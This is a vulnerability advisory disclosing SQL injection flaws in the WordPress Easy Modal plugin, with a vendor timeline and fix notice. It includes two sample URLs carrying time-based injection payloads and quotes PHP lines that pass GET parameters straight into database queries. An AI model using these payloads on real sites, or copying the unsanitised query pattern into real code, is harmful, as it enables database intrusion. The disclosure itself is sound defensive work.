DefenseCode ThunderScan SAST Advisory
WordPress Easy Modal Plugin
Multiple Security Vulnerabilities

Advisory ID: DC-2017-01-007
Advisory Title: WordPress Easy Modal Plugin Multiple Vulnerabilities
Advisory URL: http://www.defensecode.com/advisories.php
Software: WordPress Easy Modal plugin
Language: PHP
Version: 2.0.17 and below
Vendor Status: Vendor contacted, update released
Release Date: 2017/08/07
Risk: Medium

1. General Overview
===================
During the security audit of Easy Modal plugin for WordPress CMS,
multiple vulnerabilities were discovered using DefenseCode ThunderScan
application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com

2. Software Overview
====================
According to the plugin developers, Easy Modal is the #1 WordPress
Popup Plugin. It's advertised as "Make glorious & powerful popups and
market your content like never before - all in minutes!".

According to wordpress.org, it has more than 20,000 active installs.

Homepage:
http://wordpress.org/extend/plugins/easy-modal/
https://easy-modal.com

3. Vulnerability Description
============================
During the security analysis, ThunderScan discovered SQL injection
vulnerabilities in Easy Modal WordPress plugin.

The easiest way to reproduce the vulnerability is to visit the
provided URL while being logged in as administrator or another user
that is authorized to access the plugin settings page. Users that do
not have full administrative privileges could abuse the database
access the vulnerability provides to either escalate their privileges
or obtain and modify database contents they were not supposed to be
able to.

The nonce token is required as the URL parameter. Token value is not
unique for each request, nor per each URL, so if the attacker manages
to obtain a valid token value, the module could be exposed to attack
vectors such as Cross Site request forgery (CSRF).

3.1. SQL injection
Function: $wpdb->query()
Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
Sample URL:
http://vulnerablesite.com/wp-admin/admin.php?page=easy-modal&action=dele
te&id%5B0%5D=4%20AND%20SLEEP(5)&easy-modal_nonce=xxx
File: easy-modal\classes\controller\admin\modals.php
---------
93 $ids = is_array($_GET['id']) ? $_GET['id'] :
array($_GET['id']);
...
97 $ids = $_GET['ids'];
...
101 $ids = $_GET['modal'];
...
110 $wpdb->query("UPDATE {$wpdb->prefix}em_modals SET
is_trash = 1 WHERE id IN (".implode(',', $ids).")");
---------

3.2. SQL injection
Function: $wpdb->query()
Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
Sample URL:
http://vulnerablesite.com/wp-admin/admin.php?easy-modal_nonce=xxx&_wp_ht
tp_referer=%2Fvulnerablesite.com%2Fwp-admin%2Fadmin.php%3Fpage%3Deasy-mo
dal%26status%3Dtrash&page=easy-modal&action=untrash&paged=1&id[]=2)%20AN
D%20SLEEP(10)--%20ZpVQ&action2=-1
File: easy-modal\classes\controller\admin\modals.php
---------
123 $ids = is_array($_GET['id']) ? $_GET['id'] :
array($_GET['id']);
...
127 $ids = $_GET['ids'];
...
131 $ids = $_GET['modal'];
...
140 $wpdb->query("UPDATE {$wpdb->prefix}em_modals SET
is_trash = 0 WHERE id IN ($ids)");
---------

4. Solution
===========
Vendor resolved the security issues after we reported the
vulnerability. All users are strongly advised to update WordPress Easy
Modal plugin to the latest available version.

5. Credits
==========
Discovered with DefenseCode ThunderScan source code security analyzer
by Neven Biruski.

6. Disclosure Timeline
======================
2017/04/04 Vendor contacted
2017/04/06 Vendor responded
2017/04/13 Update released
2017/08/07 Advisory released to the public

7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website
http://www.defensecode.com/ .

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/